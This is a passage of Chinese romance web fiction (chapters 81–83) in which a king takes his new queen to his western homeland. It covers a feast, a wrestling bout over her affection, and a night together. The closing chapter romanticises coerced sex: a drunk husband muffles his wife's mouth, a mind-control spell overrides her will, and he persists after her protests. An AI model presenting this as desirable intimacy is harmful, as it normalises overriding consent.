“规矩都是人定的。”慕景怀显然早就决定了,“我又不是不管,无非就是让他抛头露面罢了。”"史书上有孩童坐帝位,太后垂帘听政,怎么我就不行了。" 慕景怀的心思其实很好猜。他如今身上没有了虞念的限制,更不想要把自己困在皇宫之中。 他想要的权势该是自由的,这样是最自由的方式。有权但没有限制,但作为帝王,身为皇家天子就不一样了。 大太监一时不知道该说什么,转头看向鹿微眠。 鹿微眠看春莺好像也没有什么异议,多半是他们这些时日在路上就已经商量好了这些事情。她自然也不好说什么。 封行渊倒是无所谓,“只一条,你自己看自己的崽。”慕景怀傻笑着,“那是自然。”春莺回头握住鹿微眠的手,看着她。鹿微眠看得懂她的意思,是在说,“这些时日辛苦你们了。” 其实在宫里照看孩子并不需要耗费太大的心力,毕竟有乳母还有宫人,“我在这里呆着也无聊,还好有小风陪我解闷。” 鹿微眠问她,“你身体养好了吗?”春莺笑着点头。 大概是这段时日一路游山玩水,也没有什么烦心事,她身上好得很快。 慕景怀回来,宫中一下子就热闹了起来。鹿微眠他们也愈发清闲,更加没有束缚。 只不过慕景怀没准他们搬离兴庆宫,平日里也可以回家,但在宫内也给他们留着住处,明面上到底都 是慕倚风的义父义母,朝廷的国父国母,当下还有西陵这个附属国统归封行渊管。再者就是慕景怀乍一接手国事,还有很多事情不熟悉。 起先封行渊刚刚回府呆了几日,就总是接到皇宫内送来的信。让他和鹿微眠前去帮忙。 他们偶尔也会觉得来回跑太过于麻烦,就顺着慕景怀的意思来。宫内住烦了就出去,宫外呆够了就回来找他们。 转过年来,一切尘埃落地,宫中事务皆是有条不紊地进行着。开春渐暖,鹿微眠看着院子里的花开得正好,总想要出去走走。也是巧了,西陵的王宫在年前修缮完好,来京中送了消息,说随时恭候王上王后回宫。 封行渊就依照鹿微眠的意思,跟慕景怀告了假,与鹿微眠一同去西陵巡视。为期三个月。 鹿微眠启程的时候还是有些紧张和激动的。 她时不时问封行渊,“你们西陵那各族的首领你是不是见过?” 封行渊心不在焉地回答,“嗯。” "那他们怎么样,好说话吗?"封行渊踟蹰道,“不怎么样。” 西陵下面分三族,三族经历连年战事。老首领大多战死,三个首领都二三十来岁,很是年轻,且受战事拖累,一直没娶妻。 封行渊看着鹿微眠认真道,“他们三个都不太好说话,你若是去了,少与他们说话就好。” “啊?”鹿微眠犹豫,“好吧。” 封行渊觉得此番去西陵,怎么也得给这三人先定了亲事再走,他才能放心。 鹿微眠想来也是,放下了心。 西行的路上很顺利,只不过西域与鹿微眠想象得很不一样。她总以为西部就是大漠荒原,却没有想到西域反倒有着同中原不一样的山清水秀,湛蓝天空如丝如缎,高山白云,清湖原野。 仿佛另一个人间仙境。 只不过踏入西陵境内,即便是正在重建,也依稀可见被战火损毁的痕迹。但那也能看得出来,若是没有经历战事,这里想必是繁华富饶的居所。 她不知怎么的,忽然想到了虞念。难怪虞念当年想要私奔回乡。 看到家乡变成废墟之后,又要那么不择手段的想要换此地新生。家乡的人间仙境变成人间炼狱,换做是谁都会疯。 鹿微眠轻叹了一口气,坐在马车边看屋外晃过的高山绿水,沿路边,还有正在开垦农田的百姓。他们大抵是被仪仗队伍的声音吸引,转头看到这边的马车队列。 好似是有人认了出来,“那是王室仪仗!”紧接着众人便呼呼啦啦地朝着仪仗赶来,被护送的士兵拦在了道路之外。他们接连下跪行大礼。 马车外响起此起彼伏地呼喊,"王上王后千秋万岁!" 鹿微眠放下帘幕,总觉得自己入城应当正式一点,才好面见大家。她叮嘱暮云将封行渊给她准备的那件裙子整理好。 封行渊看得出来她是很重视这次会面。他也不好拦她。 入都城兰塔当天,鹿微眠朝他展示着自己的裙子,"这样可以吗?" 她连头发都改成了西陵女子的编发。 不得不说,她编起他们的头发来,更加让人移不开眼睛。封行渊实在是嫉妒每一个能看到她这个样子的人,但还是诚实道,"很好看。" 他的手更加诚实,拿出了一件正红金绣披风,与她衣饰颜色很搭,看起来像是专门准备的。封行渊拿着披风将鹿微眠拢住。 鹿微眠不解,“这样不是都遮住了?” 封行渊体贴地给她系好绳带,“外面风大,怕你受风寒。” 眼下时节正直春末夏初,西域还是早晚凉,鹿微眠细想也是,便没有拒绝。兰塔城中早早得了消息,城中百姓激动地在城内等着。 即便是大家早有心理准备,鹿微眠坐上轿撵入城时,还是惹来一阵惊艳和欢呼雀跃声。城中是鲜花铺路,听说这并不是王室安排的,是沿路的百姓带来的。 鲜花铺成花路,在红毯周围,一直通往王宫。像是他们来到他的家乡,又成了一次婚。 鹿微眠端着仪态,但竖着耳朵听外面百姓在高喊的话。她能听懂的不多,所以一直努力辨别着里面有没有表示欢迎的“萨伊曼”。 但好像没听到。 鹿微眠抿唇,以为是自己对于这门语言还掌握不熟练所致。应该是有人在说,但是语调和发音不同,所以她没听懂。 鹿微眠左右也没当回事,保持笑容与大家打招呼。 不管说什么,看起来他们都好像很喜欢她。 被人喜欢总是一件令人开心的事情。 王宫宫门打开,轿撵入王宫后关上,与外面的百姓相阻隔。面前是王室朝臣,朝着他们行礼。 路的尽头是几位异族首领,手放胸口单膝跪地。 即便是早早就听说他们的王后是王上从中原太子那抢来的,有着能让王上心甘情愿臣服的美貌与性情,但看着那从轿撵下来明眸皓齿,玉砌一般的美人,还是不由自主屏气。 几个男人还是看愣了神。 鹿微眠身上沾染着中原女子的温润柔和,大气婉约。生的是一副国泰民安的面容。 鹿微眠察觉到那些视线,抬头看过去。对视间,几个正值青年的男人不约而同地回避。眼前的几个男人肤色都是健康的小麦色,长相器宇轩昂,皆是一派正气,倒与她从前想得凶神恶煞的样貌不太一样。 其中一个看起来约么二十七八岁的首领起身上前,与鹿微眠说了句打招呼的话,朝鹿微眠伸手。 鹿微眠知道这是他们的礼节,这里民风开放。这好像是什么吻手礼。 只是问候的意思,他们对谁都如此。虽然有点不适应,但鹿微眠还是入乡随俗地准备把手递过去,说着封行渊教她的你好,“阿斯喀。” 泠冷玉珠般如同神女降临的嗓音,说着“阿斯喀(亲爱的)“,偏巧她还大方得体,宛如上苍来抚慰他们破败灵魂的低喃。对面男人瞬间脸红了大半,拘谨地看向鹿微眠。而一旁封行渊愣住,心脏都不跳了。 81、第81章... 鹿微眠眼底不掺任何杂质,坦荡而温和地望着那异族首领,毕竟她只是在打招呼而已。 但恰好是她的坦荡与温和,让那异族首领恍惚中觉得自己像是在被神明注视怜爱着,正要接过鹿微眠的手行礼,却被另一只大手适时拦住。 封行渊先一步握住了鹿微眠伸到一半的手。与男人说了两句什么,而后带着鹿微眠进殿。 那异族首领也规矩地站定,跟在他们身后,没有其他动作。 鹿微眠好好地与人打招呼,冷不丁被封行渊打断,有点不太满意,“你干嘛阻止我跟他问好?” 封行渊捏着她的手,缓慢扣紧,摩挲她的手背,“王后不需要见谁都问好。”大手将她完全包裹住,细细研磨,像是想要在各处都沾染他的气息。充斥着很霸道又有点蛮不讲理的独占欲。 鹿微眠古怪地看了他一眼,“不是在外面还说只是礼仪吗?” 封行渊欲言又止,还是什么都没说出来。胸口憋了一股气,无处抒发也无可奈何。 鹿微眠被他拉着走,想起方才的场景,“不过你们这里的人也挺腼腆的,不像是你说得那样。我就说了个你好,他还脸红了。” 封行渊胸口那股气更重几分,他试图解释,但声音很低,“那其实不是………. 话还没说完,内侍示意他们,“王上王后这边请。”四周闲杂人繁多,封行渊又只能噤声。 几个异族首领跟随他们一同进殿,而后按照礼官示意跪拜。方才被封行渊拦住的那个首领名叫斯图。斯图低头叩拜时,能看见鹿微眠珠光宝翠的鞋尖,再往上,是流光溢彩的衣饰装点,日光将她整个人都镀上了一层暖绒金边。 西陵的矿石颇多,在很久之前没有战乱之时,西陵内部有个不成文的规定。以身上的宝石数量为等级尊卑。 身上宝石越多的人,代表在西陵的地位越高。 鹿微眠衣饰、发饰各处都有宝石雕琢的影子。看得出来是被封行渊仔细打扮又照看过的,也像是封行渊一遇到好看的小石头就想往她身上戴。 斯图想,难怪连简单地行礼都要阻拦。这样的王后,谁不想要。 封行渊叫他们起来,鹿微眠坐于高位,这会儿才得空将这几位首领的面容看清楚。 不像是封行渊从前说得那般粗犷,只是经历过战事,不似中原人白净罢了。但面容也是端正的。 方才先来与她打招呼的男人,自打招呼被阻拦之后,就规规矩矩地守在一旁。言谈举止算是得体温雅。 第二位首领稍显年轻,看起来跟封行渊差不多大,意外地会一些中原话。当着鹿微眠的面,便用中原话交流,“王后娘娘仙人之姿,百闻不如一见。”"恭喜王上,为我族迎到了这样好的新后。" 鹿微眠被这样夸赞,还没等适应,就感觉到她手背上覆盖的大手抓得更紧了点。封行渊神态是不言而喻的骄傲,“那是自然。”“不过,日后你的夫人想必也会很好。” 那年轻首领闻言,不好意思地抓了抓头发。 他们又与朝官简单聊了聊当下西陵重建的情况。这里面有西陵的官员与大郾前来协助的朝官,在一旁与鹿微眠翻译讲解着。 鹿微眠听了个大概。 眼下重建听起来进程相对会慢一点,但是几位首领都很是配合,民间积极性很高,所以刚开始慢 些也是正常的,等到战事残局处理干净之后,一切就会顺畅起来。 鹿微眠他们此行也带了工部的一些人和朝廷资源。有几个是跟鹿瑜一同前去临安兴修水坝的新贵,办事得力。 前来参与重建再合适不过。 朝廷带来的资源尽数安排好,正事聊完,开始闲聊。斯图与他们介绍着,“今晚特地办了篝火晚宴,为王上王后接风洗尘。” 鹿微眠道了一声“有劳”,翻译使者译过去之后,斯图轻轻垂了下眼帘,耳根诡异地开始发红。 封行渊看在眼里,开门见山道,“你们是不是都还没娶妻?” 几位首领面面相觑,年纪最小的那个推脱道,“不急。” 斯图出声,“总还是要等遇到喜欢的人。” 封行渊问,“那你遇到了吗?” 斯图停顿了一下,“还没,所以眼下我族兴建之事当放在首位。”"旁人就罢了,"封行渊若有所思地看着他,“你是最应当先定下来的。" 斯图笑了,“若是王后娘娘有姐妹亲戚什么的,也可与我一见。”鹿微眠回道,“姐妹亲戚倒是没有,不过你若是喜欢中原,等兴建有了着落,随时欢迎来中原做客。” 斯图应着,“好。” 封行渊看着他们一来一往交谈得很是顺畅,深吸了一口气。早知就不哄鹿微眠说亲昵的话了,这下好了说给别人,让别人听进去了。 会面很快散了场,封行渊与鹿微眠一同回寝宫。西陵王宫与中原的规矩正统不太一样,这里是圆顶古堡,异域风情浓厚。但同样都是壮丽恢弘,典雅漂亮,矗立在碧水蓝天之下。 王宫寝宫在高处,三层左右。有一座小露台,露台上种着蔷薇爬藤,很是漂亮。 鹿微眠少见这样的风格,走到露台边,撑靠在围栏上,一面观赏着四周景色,一面询问封行渊,“他们也不难说话啊,我瞧着人都挺和善的。” 鹿微眠刚说完,就听到了身后的脚步声。撑在露台边的手被身后伸过来的大手按住,压在露台上。 男人宽厚肩臂毫无征兆地将她环在露台边。他身上滚烫的热气包裹住她裸露在外的肌肤。 鹿微眠低头看了看环在自己两侧的结实手臂,还没等问他这是怎么了,下巴就被他从身后握住,往他的方向一按,俯身低头。她的脊背紧贴着他的胸膛。从露台处看过去,是极其亲密的姿态。 封行渊手指缓慢摩挲着她的下巴,距离极近地看着她的眼睛,“不许再对他们说‘阿斯喀”。”鹿微眠下颚被他磨蹭得微微发痒,“为什么?” 封行渊难得窘迫,他怕告诉鹿微眠,又暴露了自己的坏心思。哄她整日在自己面前说情话。毕竟以鹿微眠的性格,让她直白地说出这些话是不可能的。 “就是不能说,我教你的那些话,你只能对我说。”鹿微眠听出来些异常,“你是不是教我什么坏话了?” 封行渊不肯承认,“没有,都是好话,但只能对我说。” 鹿微眠还想说什么,封行渊噙住她微开的唇,轻易探进去堵住她的问题。 每当她再想出声,就又被追逐纠缠,缠得她根本无暇分神。雄性侵略气息将她覆盖,蛮横又不太讲道理。 而此时,阁楼之下,几位首领与中原朝臣闲谈结束准备往回走。斯图走到一半脚步停顿,莫名回头看向远处寝宫的方向。 古堡高塔阁楼上,繁密的蔷薇花丛间,他隐约能看到一双璧人亲昵的姿态。 封行渊撑在她身侧的手臂抬起环住她的腰身,将人紧紧箍住。仿佛能预知到什么,睁开眼睛时,封行渊恰好与楼下男人对视,深澈黑瞳氤氲出寻衅气息。 这里的风俗与中原差异太大。没有那么多礼义廉耻,更偏向于原始的规则,都是胜者为王。强者才配拥有更加优异的伴侣。 封行渊耳濡目染,深知这个道理。 鹿微眠不知道怎么了,只是她突然间被封行渊转过身,带进了房间内,远离了那花丛露台。她被床褥颠了一下时,身上的宝石也跟着互相碰撞。 鹿微眠反应过来,立马从床的另一边爬下去,局促羞赧,“不行,晚上还有晚宴。” 她整理着自己身上的衣饰,深知他一折腾不知道又要多久。主要是她还能不能爬得起来。 封行渊眼底沾上了猩红气息,走上前,“一次。”鹿微眠躲开他,“不好。”"今天很重要,我不能失态。" 封行渊敛眸,有点舍不得但还是乖乖听话,“好吧。” 鹿微眠问他正经事,“所以你都教了我什么?”封行渊别开头,像是犯了错误但嘴硬的小动物,心虚得没有看她,“没什么。” 鹿微眠绕过去盯着他的眼睛,“你说实话。” 封行渊视线描摹着她,讨价还价,“吃饱说。” 鹿微眠眉梢微扬,“我可以去问别人。” 封行渊不想让她去问别人,再跟外人说一句“阿斯喀”,"晚上回来,我告诉你。" 鹿微眠觉得也不是不行,“当真不是不好的话吗?” “不是。” 鹿微眠点头,暂且答应他。 一路颠簸才入兰塔,鹿微眠还是有点累,晚宴之前先小憩了一会儿,封行渊前去布置晚宴。 西部天黑得要比中原晚上许多,等鹿微眠到时间起来前去晚宴时,日头仍然高悬。许多穿着西陵服侍的少男少女在原野上游玩,打擂台。 篝火还在准备,没有升起,大抵是要等天黑了才烧起来。 鹿微眠在空气中嗅到了很热烈的生命气息。 他们都说着她听不懂的话,但能感觉到相当欢快的氛围。 原野上落日余晖,整片篝火晚宴的盛景尽收眼底。 西陵侍女和暮云陪在鹿微眠身边,鹿微眠看着眼前的光景。似乎明白了从前一直觉得封行渊身上那股微妙的山野自然气和浓烈的兽性感觉是从何而来。 这里的人都偏向于热情豪放,王族阶级也并不严格。他们想说什么说什么,想做什么做什么,都是无拘无束的灵魂。 她能看到打猎归来,身披兽皮坦露着小麦色胸膛的猎手回来帮晚宴添食物,还有驯鹰的轻狂少年。更有情谊浓厚的新婚夫妻在夕阳下拥吻后,又嬉笑着赶来赴宴。 所以其实今日鹿微眠与斯图打招呼的那声“阿斯喀”,对于他们来说稀疏平常。只是大多数人早以为中原女子内敛含蓄,并不会这般热情。 她表现出来的坦荡与亲近臣民,反倒令人心生好感。 忽然间不远处的擂台响起一阵起哄声,鹿微眠循声看过去。正好看到斯图朝着封行渊行礼,而后说了两句话。 封行渊坦然起身,走上擂台。 鹿微眠看着很热闹,便问旁边的西陵侍女,“他们这是在做什么啊?”侍女见状也笑了起来,笑容与旁边起哄的臣民一般,与她解释着,“斯图想要与王上比试。” “这里的男人都是以实力为筹码互相比试,胜出的勇者可以获得西陵王族图腾的玉石,代表王室的肯定。” “斯图请王上比试,是王与王之间的切磋,大家自然很想看啦。”侍女怕鹿微眠从中原来的,那边规矩颇多,接受不了,便解释着,“如此不过是热闹一下罢了,不会影响到王上的。民间武士挑战首领也是常有的。” “打擂台特别好玩,还能押注…”侍女犹豫着,没有说出后面半句。 除此之外,有一个有趣的习俗,就是胜出者可以将图腾赠与心爱的姑娘。姑娘若是接受,需要赠与回吻,这便是被上天与王族都祝福的姻缘。 侍女觉得,鹿微眠看起来不像是会在大庭广众之下做这种事的女子。她正犹豫着要不要带鹿微眠回避一下。 然而,毫不知情的鹿微眠对这个擂台兴致盎然,“那去看看。” 82、第82章... 擂台周围摆放着花鼓,西陵武士站在旁边起哄击鼓。 鼓乐声响彻在浩瀚的原野上,他们用着各自的语言呐喊加油。 旁边挂着一个细网编制成的幕布,两侧的篮子里摆放着两种颜色的花。他们押注很特别,用红黄两色玫瑰做押注,红色是封行渊,黄色是斯图。 来往的臣民选择各色颜色的花枝挂在幕布上。花枝摆放也没有规定谁的需要放哪一边,众人完全依照喜好摆出图案。远远看过去就是一片偌大而自然的花墙,蜿蜒着红黄相间的各色图案。 花墙幕布随着山风吹拂而轻轻摇晃。 等鹿微眠走过去的时候,那边比试已然开始。斯图是西陵武士的气派,身形魁梧,底盘压低,猛然间朝着封行渊冲了过去,却被他闪身躲开扑了个空。 封行渊姿态略微闲散,脸上仍然挂着人畜无害的笑。但这种时候这样的笑相当于挑衅。 斯图果然再度上前,两人的身形很快便纠缠在一起。斯图更重视下盘,而封行渊的身手灵巧而干脆利落,直击要害。 在斯图结实地拳头挥过去之时,就被封行渊以掌化拳顺着他手臂内侧,径直劈向了他的脖颈!封行渊沾染着笑意的眼底,蛰伏着凶恶意图,斯图顿时大惊闪身躲开时还是被劈到了肩侧。 一股强烈的酸麻从击打处袭来,仿佛半边手臂都被卸掉。斯图不得不停下动作,但此时,方才一直闲庭信步的封行渊却突然间冲了上来。 凌冽寒风扑面而来!斯图下意识后退,侧身抵挡开后刚要松一口气,脊背却被折返回来的封行渊重重一击! 斯图趁势抓住了封行渊的手臂,两人身法快到虚幻,令人眼花缭乱。 四周鼓舞声都随着他们交战而减弱,屏气凝神观察着擂台上的汹涌战况。 鹿微眠走过去之时,都没有人察觉。她只是试着看了一下擂台上的情况,不过她眼中的境况与众人区别不大。对于比武,也看不出什么名堂。 大概是觉得封行渊不会输,也或许是觉得即便他输了也没关系。鹿微眠没有干涉擂台上的战况,只是走到旁边去挑选花朵。 西陵侍女和暮云跟在旁边,鹿微眠选着花篮里的花。 恰好擂台上暂时停歇,两人都是防备状态。有人用西陵语嘟囔着,“娘娘来了。” 鹿微眠是听不懂的,因而也就没有受任何影响。只是觉得山风把众人的呼喊声又吹了起来,仿佛她的到来是什么很重要的信号。 擂台上的两人都听到了这么一句。不约而同地将视线转了过去,看到鹿微眠弯身选花。在她的面前摆了红黄两色的花朵,鹿微眠编发和发间的珠玉随着她弯身的动作轻轻垂坠,被她抬手拨至耳后,露出耳侧一块白净如玉的肌肤。 紧接着,鹿微眠拿起了一朵精挑细选的红玫瑰,转头问暮云,“这朵好不好看?”斯图停顿片刻,封行渊率先回过神来,朝斯图进攻时说了一句,“还看。” 斯图躲闪不及,不知怎么地占了下风。 一旁鹿微眠随着下人的示意,正打算将玫瑰花也挂在幕布上。突然封行渊掌风打在了斯图的胸口! 斯图胸口被重击一下,接连踉跄几步,险些摔出擂台。擂台边挂着的风铃被撞得叮叮当当作响,像是什么警戒的信号。 斯图靠在擂台边的麻绳上缓了一会儿,面前突然伸出一只手。 斯图定睛抬头,迎上封行渊那张干净清俊的面容。斯图不由得笑了,接过封行渊的手起身,“臣甘拜下风。” 封行渊比他想象得更加直白,“死心了?”斯图微微一怔,见封行渊如此坦然,也没什么好遮掩的,“本只是想要试一下罢了,王上恕罪。” 封行渊心想,他用命搏回来的夫人,岂是他试试就觉得自己可以压过他的,“方才你走神了。” 斯图不置可否,“什么都逃不过您的眼睛。”他刚刚走神是看到鹿微眠精挑细选了一朵红玫瑰。 斯图其实此番比试,只是因为封行渊作为西陵世子,他们鲜少见面,于公想试试这位手握王权之人的本事。于私,他想试试自己有没有可能,会比封行渊更强一些。也能得王后这样佳人的青眼。 斯图并非是想要通过一个比试,就压过封行渊一头,更没觉得王后有可能会押注他。只是或许能被她看到呢。 男人在某些时候,总是会想要吸引心仪女子的注意。这一点在一向是公开竞争的西陵格外明显。 但在斯图看到鹿微眠只是选一朵押注封行渊的花,都那般仔细认真时,还是觉得自己的想法过于天真。 封行渊捏了下他的肩膀,“以后会有更适合你的姑娘。”斯图去拿胜者的玉图腾,呈给封行渊。 四周响起欢呼声。这欢呼声就是擂台结束后催促胜者送出图腾的声音。鹿微眠不太懂,但封行渊很懂这些。 他拿过那玉雕,转头看向另外一边还没来得及把花放下的鹿微眠。 紧接着鹿微眠就被身后的人推了一下。她回头看了看推她的几个人,都是些女孩了等着看热闹。 鹿微眠以为是想要让她上前去送花,便拿好了手里的玫瑰。不等她过去,封行渊就已经走到了她的面前。 鹿微眠把花递给他,“恭喜你,这位勇士。”封行渊听着她的说辞,接过她手里的花,“那这位姑娘,你愿意接受我的图腾吗?” 鹿微眠看着他掌心的玉雕。西陵图腾是狼,玉雕上雕刻着一只栩栩如生的狼站在峭壁边缘,仰头长啸,很是漂亮。 “当然。”鹿微眠将图腾拿了起来。周围起哄的呼喊突然如同热浪一般一层一层席卷而来,大有愈发猛烈之势。 鹿微眠吓了一跳,环顾四周,听着众人站在擂台下看着他们,都在说同样的一句话。鹿微眠问着封行渊,“这是怎么了?” 封行渊低头盯着她的眼睛,“在我们这,接受了男子的战利品,是要以吻做回礼的。”他的视线缓慢下拉到她的唇间,“他们在等你给我回礼。” “啊?”鹿微眠耳根肉眼可见的蔓延开霞色。她觉得自己手里像是拿了个烫手山芋,“在这里吗?” “当然。” 鹿微眠一时窘迫,“那你早说啊。” 封行渊笑她,"早说了,你就不要了?" 鹿微眠敛眸。她心下天人交战片刻,再度抬头时,蜻蜓点水地在他唇间吻过。封行渊有一瞬间的怔愣,他没有想到鹿微眠真的会照做,心口被重重地拉扯一下。 其实就算她不做,也没有人会说什么。 唇齿相依一触即分,鹿微眠完成任务就环住他的脖颈,整张脸埋进了他的颈窝,凑在他耳边,“是不是可以了?” 四下爆发出了更加响亮的高呼与欢笑,将他们完全包围其中。 鹿微眠一阵一阵耳鸣,什么都听不进去,满脑子都是自己刚刚做的事情。 封行渊圈住她的腰身,忽而低笑出声,“当然。”擂台风铃摇晃,仿佛是天神的祝福低喃。 原野被热烈喧嚣覆盖,整夜不曾停歇。押注的鲜花都送进了王宫,留给了鹿微眠, 押注的结果也很亲和,无非是输的一方晚宴自发地给押注成功者炙烤,各自兑现承诺。 西陵的歌舞晚宴与中原的区别也很大,这里不是只有舞者在跳。渐渐地所有人都簇拥而上,围着篝火起舞。 鹿微眠不会他们的舞,还是推脱着没有一同参与,只坐在一旁,看着他们跳。封行渊陪在旁边,给她倒了一盏奶酒,“要不要尝尝。” 鹿微眠刚想说不要,但看着那奶白色的酒,还是心生好奇,“一点点。” 奶酒的味道很是新奇,回味醇厚,酒味也不算太重。 但鹿微眠还是控制着没有多喝,她的酒量实在是一般,喝醉了就不好了。 夜间的烟火气与美酒佳肴混合在一起。 他们身处于庆典之中的最高位,也像是游离在庆典之外,安静地看着这世间繁华。 鹿微眠转头想跟封行渊说什么,但是看过去发现,封行渊好像喝得稍微多了一点。 鹿微眠问他,“你是不是醉了?” 封行渊把玩着手里的酒盏,就这么看着她,很久没有说话。诡异的沉静之中,只有他眼底的光色波涛汹涌,“我们要不要先回去?” 押注的玫瑰堆满了半个王宫花园。鹿微眠送他的那一朵,被他带进了寝宫。 寝宫露台上,能看见不远处还在进行的晚宴与歌舞。天边被篝火光芒映照得一片澄明,偶尔有中原带来的烟火升空幻化成无数烟花光点。 鹿微眠跌跌撞撞地被压上床榻,连同那朵玫瑰一起。 喝酒暖身,将男人身上原本就炙热的温度灼烧得更加滚烫。烫得鹿微眠轻轻一抖,呼吸不由自主地变得急促。 屋外的冷风顺着窗口吹拂而过,冷热交接,反倒让她浑身上下都异常的敏感封行渊的醉意像是能熏染到她的意识一般,让她时而清醒,时而迷乱。 身上的衣饰凌乱地被扯下。 男人喟叹一口气,先提醒了她一句,“我今日喝得有点多,可能会控制不住自己犯错,你别生气。” 鹿微眠眼睫颤了一下,不知道他为什么突然这么说,"犯什….!!!" 83、第83章婚后日常番完... 充盈过度,存在感就极强。 西部夜晚风声呼啸,相较于中原要剧烈许多,吹得窗柩吱吖吱吖做响。这里的人热情狂放,根本不存在鹿微眠所能适应的和风细雨。 她的温吞被迫鞭挞着,勉强追上节奏,却还是显得格外吃力。很快就又有些出气多,进气少的态势。 宫苑里的人大多都去了晚宴,零零星星的宫人在宫苑里也能听到几里开外的盛会呼声。没有人注意到这里的响动。 但鹿微眠还是怕的,到底没有关窗。屋内虽然没有点灯,但屋外传来的热闹氛围,让她还有种自己在晚宴上的错觉。窗外是西陵人几句穿透力的嗓音。 因此她格外紧张,咬着唇瓣担心出声。封行渊高大身形将她笼罩着,血色异瞳紧盯着她,“这么怕出声啊。”“不会有人听到的。” 鹿微眠不知道他们这里的人怎么做什么都这么大胆。今日的事情已经都是在她能承受的意料之外了,她无法再做得更加出格。她偏开头,扼制自己出声,手指抓紧枕头。 封行渊看她唇瓣越咬越紧,故意加快。在鹿微眠执意不松口之时,他径直伸手捂住了她的嘴巴,恶意道,"那我帮你。" 一旦帮忙,整件事情都会变得古怪。 鹿微眠被他修长手指直接摁住了半张脸,在黑暗中,看到他醉意幽深黑瞳直勾勾地盯着她,唇角噙着凶险的笑。像是暗夜猛兽在盯着捕食的猎物。 而这个猎物被捂住嘴巴,按在身下,此时完全丧失了抵抗能力。剩下的,就是被掠夺、折磨,疯狂啃噬。 鹿微眠没有机会再咬唇。甚至被迫放开了喉间的压抑,唔唔声被压在了他的掌心之下。无论再怎么出声,都无法被任何人听到。 除了他。 主动的克制和被动的压制,感觉完全不同。听着很奇怪,像是他在欺负她。 鹿微眠被完全剥夺了反抗的能力,眼巴巴地看着他。 “怎么,我不是在帮你吗?”封行渊压低身形,“看你这副可怜的样子。”“这么可怜,会让我想强迫你做点什么。” 鹿微眠心口一颤,渐渐地发现些不对劲。她身体不知在何时慢慢地开始不受控制地主动接纳他。 原本跟不上的速度被迫跟上,但却根本不是她想要跟上的。因而身体跟意识形成了极具割裂的两部分。 意识承受不住,但身体却还不停地接受。 她被捂在男人掌心的声音愈发失控。 鹿微眠试图挣扎,却被抱紧。封行渊埋进她的颈窝,呼出来的热气激起一层细小的绒毛。 鹿微眠深知自己吃饭的速度和食量都跟封行渊有很大区别,往常这种时候她都会故意想缓缓。但这会儿,自己的身体却是不让的,被猛烈地哺喂远多于她胃口的食量。脑袋仿佛都要被撑坏。 那眩晕白光再度出现时,她混沌思绪中意识到这是摄魂术失控的表现。 她听长老提起过。施咒人依靠意志力操控咒术,意志力薄弱的时候,摄魂术会失控。他会不受控制地想要把脑海里对她疯狂的幻想,变成现实。 鹿微眠一下子就明白封行渊方才跟她说的犯错,是犯什么错了。 不等她细想,白光瞬间冲破了她的思绪。但自己还是没有要停下来的意思。 过多的哺喂,让她根本顾不得谁能不能听到。满脑子只想让封行渊能从醉酒中清醒一点,手指毫不顾忌地抓着他的肩背。留下一道道抓痕。 但他还是不见清醒亦或许是装的,毕竟他被她抓得受不了,还知道将她翻了过去,看她无助地抓床褥。 鹿微眠也想过反控制他,可她怕疼。心口稍微一点疼痛她就不由得退缩,这一下就被他占了上风。 这个小疯子,贪到了极点。 封行渊似乎发现了她跟不上,但是能让她不得不跟上的方法。对此乐此不疲。 鹿微眠不知道自己什么时候睡着的,只是恍惚中发现,连窗外都安静了下来。好像很久都没有听到屋外的吵闹声了。 鹿微眠昏昏沉沉地想。以后不能让封行渊随便喝酒了。 西部早上天亮的晚,很符合鹿微眠的晨起时间。但鹿微眠第二日早上还是没能爬起来。 侍女早早地前来准备服侍,只看见封行渊出来。"王上,娘娘她……" 封行渊面色如常,“她舟车劳顿,恐怕得多睡一会儿。”侍女闻言应声“是”。 这王后娘娘比她们想象中的要身子骨弱一些。来了一直舟车劳顿睡觉。 鹿微眠晌午从睡梦中饿醒才起来。她下床有些艰难,便靠在床边用的午膳。封行渊每每这种时候都是最乖的。鹿微眠这种时候脾气也最大。 封行渊将膳食喂到她嘴边,见她不张嘴,知道她不感兴趣就换一个。换到喜欢的,她就咬过去。 封行渊大气不敢出,乖顺无比。 鹿微眠吃饱了示意他撤下去,他便把东西都拿下去。 原本计划是鹿微眠第二日要游城,但眼下看来不得不往后推迟。封行渊差人把东西收拾好,折返回来的时候,鹿微眠看着窗外正好的天色,有点遗憾自己不能出去玩,“你不能这样了,我还要去玩的。” 封行渊走上前,“我帮你涂药?” "不行,”鹿微眠觉得他一旦上手,就很难再松手了,“你叫暮云进来帮我。" 封行渊不想要假手于人,“不行。” 鹿微眠踟蹰着,“那你不能再…….”她没说完后面半句话。 封行渊知道她什么意思,“不会。” 鹿微眠有点了解他,“你每次都说不会。” 封行渊将药油倒在手上,按在她腿上酸痛的地方,将药油揉化,“你可以叫人。” 鹿微眠嘟囔着,“我还能真的叫人把你抓出去吗。”鹿微眠没有意识到这话有问题。但这话听在男人耳中就像是什么信号。封行渊血液中躁动不安地恶劣因子开始蠢蠢欲动。他忽而抬眼看她。 只一眼,鹿微眠就察觉到了危险的信号,立马挪动身子想躲开,“你干嘛……” “是啊,你也不能叫人把我抓出去。”封行渊起身,影子覆盖在她身上,“我们到底是夫妻。”“封轸,”鹿微眠细弱地控诉,“你想弄死我。” 他声音很轻,在朦胧间低喃,“我要爱死你了。”爱需要有宣泄的出口。 刚到西陵的头三天,鹿微眠连寝宫的门都没出。以至于她后面出来的时候,有点不敢看大家。 好在所有人都以为鹿微眠是水土不服,又在路上劳累多日,没有多想其他的原因。 也是,在京中被好生娇养的大家闺秀,一连月余赶路来到这里吹风,是需要调养适应几天的。 不过看起来,鹿微眠这几日休养适应得很好,气色红润非常。 兰塔城还在重建当中,不过已经完成了大半,剩下的就是兰塔边缘的郊野民居。当下也有不少重建的工匠正在帮民居修缮房屋。 只不过兰塔民居以放牧为主,他们住在一个一个小山丘上,山脉与原野相连,四下广阔无垠。这里走马车不如骑马合适,他们翻过一个一个小山包,在牧民的家中和庄园歇脚。能看到他们在山上种的大片粉芙蓉。山花遍野。 牧民摆出来瓜果点心,与他们讲述重修家园的境况。他们很是激动,牧民婆婆抓着她的手,热切地说着什么。鹿微眠竟然在一众她听不懂的词汇里,听到了“阿斯喀”。 她眼睛亮了一下。 恍惚中相信了封行渊说的那个,这不是什么见不得人的说辞。 等他们从牧民家中离开后,鹿微眠翻身上马,看了看天边正好的日光与粉红潋滟的芙蓉花海,问封行渊,“阿斯喀到底是什么意思啊?” 